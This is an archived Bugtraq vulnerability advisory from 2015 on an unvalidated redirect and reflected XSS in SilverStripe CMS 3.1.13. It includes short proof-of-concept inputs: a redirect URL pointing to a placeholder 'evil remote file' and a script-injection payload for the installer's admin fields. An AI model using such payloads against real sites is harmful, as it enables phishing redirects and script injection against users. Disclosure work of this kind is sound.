Bugtraq mailing list archives

SilverStripe CMS Unvalidated Redirect & XSS vulnerabilities


From: apparitionsec () gmail com
Date: Tue, 9 Jun 2015 01:12:48 GMT

[+] Credits: hyp3rlinx

[+] Domains: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-SILVERSTRIPE0607.txt


Vendor:
================================
http://www.silverstripe.org/software/download


Product:
================================
SilverStripe CMS & Framework v3.1.13


Advisory Information:
===============================================
Unvalidated redirect & XSS vulnerabilities


Vulnerability Details:
=====================
Unvalidated redirect:

The 'returnURL' parameter for following URL:
http://localhost/SilverStripe-cms-v3.1.13/dev/build
is open to abuse by supplying an malicious a location or file.


XSS (reflected):
install.php is XSS vulnerable using POST method for the following input fields.

admin_username
admin_password


Exploit code(s):
===============

Unvalidated redirect POC:
http://localhost/SilverStripe-cms-v3.1.13/dev/build?returnURL=[EVIL REMOTE FILE LOCATION]


XSS POC:
http://localhost/SilverStripe-cms-v3.1.13/install.php
admin_username
admin_password
"><script>alert(666)</script>



Disclosure Timeline:
===============================================
Vendor Notification: June 7, 2015
June 8, 2015 : Public Disclosure



Severity Level:
===============================================
Med


Description:
===============================================

Request Method(s):         [+] GET & POST


Vulnerable Product:        [+] SilverStripe CMS & Framework v3.1.13


Vulnerable Parameter(s):   [+] returnURL, admin_username & admin_password


Affected Area(s):          [+] install & dev

===============================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by 
reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases 
and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the 
information contained herein and prohibits any malicious use of all security related information or exploits by the 
author or elsewhere.

(hyp3rlinx)


Current thread: